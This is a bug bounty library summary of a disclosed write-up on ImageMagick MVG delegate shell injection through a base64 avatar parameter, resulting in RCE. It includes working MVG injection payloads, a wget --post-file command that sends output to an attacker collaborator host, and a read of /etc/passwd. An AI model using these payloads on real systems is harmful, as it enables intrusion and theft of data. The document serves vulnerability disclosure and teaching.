# Abusing ImageMagick to obtain RCE

ImageMagick MVG delegate shell injection via base64 avatar parameter on a private program yielded RCE, exfiltrating /etc/passwd over DNS via Burp Collaborator.

- Payout: $5,000
- Severity: critical
- Program: -
- Credited: Strynx
- Disclosed: 2019-12-24
- Write-up quality: 6/10
- Original: https://web.archive.org/web/20210116171139/https://strynx.org/imagemagick-rce/
- Library page: https://bugbountylibrary.com/r/blog%3Aweb-archive-org-web-20210116171139-https-strynx-org-imagemagick-rce
- Tags: domain:web impact:data-leak impact:rce kind:bounty platform:blog sev:critical tech:php technique:blind technique:oob-exfil technique:recon vuln:command-injection vuln:rce

**Target:** Web avatar/image-processing endpoint accepting base64 image parameter
**Root cause:** ImageMagick delegates pass user-controlled filenames into a system() command string; insufficient filtering of the %M param allows shell metacharacter injection via MVG/SVG fill url().
**Steps:**
1. Upload/request an image and inspect returned PNG for `tEXtdate:modify`/`date:create` strings indicating ImageMagick without -strip.
2. Note the avatar parameter is base64-decoded server-side.
3. Craft MVG: `push graphic-context\nviewbox 0 0 200 200\nfill 'url(https://example.org/x/";sleep "6.0)'\npop graphic-context`.
4. Base64-encode and send as the parameter; observe 6s delay confirming injection.
5. Swap payload to `|whoami>>/tmp/pwned.txt` then `|wget --post-file /tmp/pwned.txt attacker.burpcollaborator.net` to exfiltrate.
6. Repeat with `|cat /etc/passwd >>/tmp/pwned.txt` to prove file read.
**How found:** Noticed the avatar endpoint returned images containing `tEXtdate:modify` metadata, a fingerprint of ImageMagick/GraphicsMagick conversion without -strip; hypothesized delegate-based command injection and tested with a time-based sleep payload after observing the parameter was base64-decoded.
**Exploitation:** Attacker controls the base64 image parameter; server decodes and feeds MVG to ImageMagick, whose delegate invokes system() with the injected `fill 'url(..."|cmd)'`, executing shell commands as the web user. Output written to /tmp and exfiltrated via wget --post-file to Burp Collaborator since no direct read access.
**Escalation:** Time-based blind confirmation escalated to OOB data exfiltration via Burp Collaborator, then arbitrary file read (/etc/passwd).
**Insight:** PNG tEXt chunks like `date:create`/`date:modify` surviving in served images fingerprint ImageMagick without -strip; combine with base64-decoded image params to test MVG/SVG delegate injection blind via sleep then OOB exfil.